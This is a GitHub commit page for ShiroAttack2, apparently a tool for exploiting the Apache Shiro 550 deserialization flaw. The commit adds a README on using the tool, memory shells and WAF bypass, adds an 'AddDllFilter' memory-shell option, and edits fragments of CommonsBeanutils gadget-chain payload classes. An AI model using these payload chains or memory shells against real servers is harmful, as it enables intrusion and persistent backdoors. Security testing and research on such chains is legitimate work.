Skip to content

Commit 835b71a

Browse files
SummerSecSummerSec
committed
4.5.1
1 parent 6280c04 commit 835b71a

35 files changed

+78
-682
lines changed

‎.idea/$PROJECT_FILE$

-11
This file was deleted.

‎.idea/misc.xml

+5-9
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎.idea/qaplug_profiles.xml

-465
This file was deleted.

‎.idea/serialmonitor_settings.xml

-4
This file was deleted.

‎README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@
3838

3939
## FAQ 常见问题见
4040

41-
[FAQ](./FAQ.md)
41+
[FAQ](https://shiro.sumsec.me/)
4242

4343

4444

‎docs/BypassWaf.md

Whitespace-only changes.

‎FAQ.md ‎docs/FAQ.md

File renamed without changes.

‎docs/NoGadget.md

Whitespace-only changes.

‎docs/README.md

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# shiro550反序列化漏洞利用工具
2+
3+
<h1 align="center" >ShiroAttack2</h1>
4+
<h3 align="center" >一款针对Shiro550漏洞进行快速漏洞利用</h3>
5+
<p align="center">
6+
<a href="https://github.com/SummerSec/ShiroAttack2"></a>
7+
<a href="https://github.com/SummerSec/ShiroAttack2"><img alt="ShiroAttack2" src="https://img.shields.io/badge/ShiroAttack2-green"></a>
8+
<a href="https://github.com/SummerSec/ShiroAttack2"><img alt="Forks" src="https://img.shields.io/github/forks/SummerSec/ShiroAttack2"></a>
9+
<a href="https://github.com/SummerSec/ShiroAttack2"><img alt="Release" src="https://img.shields.io/github/release/SummerSec/ShiroAttack2.svg"></a>
10+
<a href="https://github.com/SummerSec/ShiroAttack2"><img alt="Stars" src="https://img.shields.io/github/stars/SummerSec/ShiroAttack2.svg?style=social&label=Stars"></a>
11+
<a href="https://github.com/SummerSec"><img alt="Follower" src="https://img.shields.io/github/followers/SummerSec.svg?style=social&label=Follow"></a>
12+
<a href="https://github.com/SummerSec"><img alt="Visitor" src="https://visitor-badge.laobi.icu/badge?page_id=SummerSec.ShiroAttack2"></a>
13+
<a href="https://shiro.sumsec.me/"><img alt="ShiroDocs" src="https://img.shields.io/badge/ShiroDocs-green"></a>
14+
<a href="https://twitter.com/SecSummers"><img alt="SecSummers" src="https://img.shields.io/twitter/follow/SecSummers.svg"></a>
15+
<a xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="https://visitor-badge.laobi.icu"><rect fill="rgba(0,0,0,0)" height="20" width="49.6"/></a>
16+
<a xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="https://visitor-badge.laobi.icu"><rect fill="rgba(0,0,0,0)" height="20" width="17.0" x="49.6"/></a>
17+
</p>
18+
19+
20+
---
21+
## 使用方法
22+
23+
直接使用shiro_attack-{version}-SNAPSHOT-all.jar第三版
24+
25+
![image-20211130114603322](https://cdn.jsdelivr.net/gh/SummerSec/Images//49u5049ec49u5049ec.png)
26+
27+
在jar的当前目录下创建一个data文件夹，里面创建一个shiro_keys.txt文件，文件内容是shiro_key。lib目前是CommonsBeanutils依赖的版本。
28+
29+
![image-20211130113559530](https://cdn.jsdelivr.net/gh/SummerSec/Images//44u5044ec44u5044ec.png)
30+
31+
特殊shiro漏洞打法：
32+
33+
* 关于内存马模块的使用方法，请参考内存马模块的使用方法。
34+
[MemShell](./memshell.md)
35+
* 关于有key无链漏洞的使用方法，请参考无key漏洞的使用方法。
36+
[NoGadget](./NoGadget.md)
37+
* 关于bypass waf方法，请参考bypass waf方法。
38+
[BypassWaf](./BypassWaf.md)
39+
40+
41+
## FAQ 常见问题见
42+
43+
[FAQ](./docs/FAQ.md)
44+
45+
46+
47+
---
48+
## :b:免责声明
49+
50+
该工具仅用于安全自查检测
51+
52+
由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
53+
54+
本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许，不得善自使用本工具进行任何攻击活动，不得以任何方式将其用于商业目的。
55+
56+
该工具只授权于企业内部进行问题排查，请勿用于非法用途，请遵守网络安全法，否则后果作者概不负责
57+
58+
----
59+
60+
![as](https://starchart.cc/SummerSec/ShiroAttack2.svg)

‎docs/memshell.md

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
#

‎pom.xml

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>org.example</groupId>
88
<artifactId>shiro_attack</artifactId>
9-
<version>4.5-SNAPSHOT</version>
9+
<version>4.5.1-SNAPSHOT</version>
1010
<build>
1111
<plugins>
1212
<plugin>

‎src/main/java/com/summersec/attack/UI/Main.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ public Main() {
1515
@Override
1616
public void start(Stage primaryStage) throws Exception {
1717
Parent root = FXMLLoader.load(getClass().getResource("/gui.fxml"));
18-
primaryStage.setTitle("shiro反序列化漏洞综合利用工具 增强版 SummerSec @ by3");
18+
primaryStage.setTitle("shiro反序列化漏洞综合利用工具 增强版 SummerSec & by3");
1919
Scene scene = new Scene(root);
2020
primaryStage.setScene(scene);
2121
primaryStage.show();

‎src/main/java/com/summersec/attack/UI/MainController.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -243,7 +243,7 @@ public void initComBoBox() {
243243
this.echoOpt.setItems(echoes);
244244
this.shellPassText.setText("pass1024");
245245
this.shellPathText.setText("/favicondemo.ico");
246-
final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]", "ChangeShiroKey[Filter]", "ChangeShiroKey[Filter2]", "BastionFilter", "BastionEncryFilter"});
246+
final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]", "ChangeShiroKey[Filter]", "ChangeShiroKey[Filter2]", "BastionFilter", "BastionEncryFilter", "AddDllFilter"});
247247
// final ObservableList<String> memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Servlet]", "冰蝎[Servlet]", "蚁剑[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"});
248248
this.memShellOpt.setPromptText("冰蝎[Filter]");
249249
this.memShellOpt.setValue("冰蝎[Filter]");

‎src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsAttrCompare.java

-4
Original file line numberDiff line numberDiff line change
@@ -22,10 +22,6 @@ public class CommonsBeanutilsAttrCompare implements ObjectPayload<Queue<Object>>
2222
public Queue<Object> getObject(Object template) throws Exception {
2323

2424
AttrNSImpl attrNS1 = new AttrNSImpl();
25-
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
26-
attrNS1.setValues(coreDocument,"1","1","1");
27-
28-
2925

3026
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
3127

‎src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsAttrCompare_192.java

+1-3
Original file line numberDiff line numberDiff line change
@@ -24,13 +24,11 @@ public class CommonsBeanutilsAttrCompare_192 implements ObjectPayload<Queue<Obje
2424
public Queue<Object> getObject(Object template) throws Exception {
2525

2626
AttrNSImpl attrNS1 = new AttrNSImpl();
27-
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
28-
attrNS1.setValues(coreDocument,"1","1","1");
2927
StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2");
3028
Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
3129
System.out.println(u.getPackage());
3230

33-
// BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
31+
3432
Object beanComparator = u.getDeclaredConstructor(String.class, Comparator.class).newInstance(null, new AttrCompare());
3533

3634
// PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<?>) beanComparator);

‎src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsPropertySource.java

+1-8
Original file line numberDiff line numberDiff line change
@@ -24,20 +24,13 @@ public int getPriority() {
2424
}
2525

2626
};
27-
PropertySource propertySource2 = new PropertySource() {
2827

29-
@Override
30-
public int getPriority() {
31-
return 0;
32-
}
33-
34-
};
3528
BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
3629

3730
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
3831

3932
queue.add(propertySource1);
40-
queue.add(propertySource2);
33+
queue.add(propertySource1);
4134

4235

4336
Reflections.setFieldValue(queue, "queue", new Object[] { template, template });

‎src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsPropertySource_192.java

+1-8
Original file line numberDiff line numberDiff line change
@@ -26,14 +26,7 @@ public int getPriority() {
2626
}
2727

2828
};
29-
PropertySource propertySource2 = new PropertySource() {
3029

31-
@Override
32-
public int getPriority() {
33-
return 0;
34-
}
35-
36-
};
3730
// BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
3831
StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2");
3932
Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
@@ -47,7 +40,7 @@ public int getPriority() {
4740
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
4841

4942
queue.add(propertySource1);
50-
queue.add(propertySource2);
43+
queue.add(propertySource1);
5144

5245

5346
Reflections.setFieldValue(queue, "queue", new Object[] { template, template });

0 commit comments

Comments
 (0)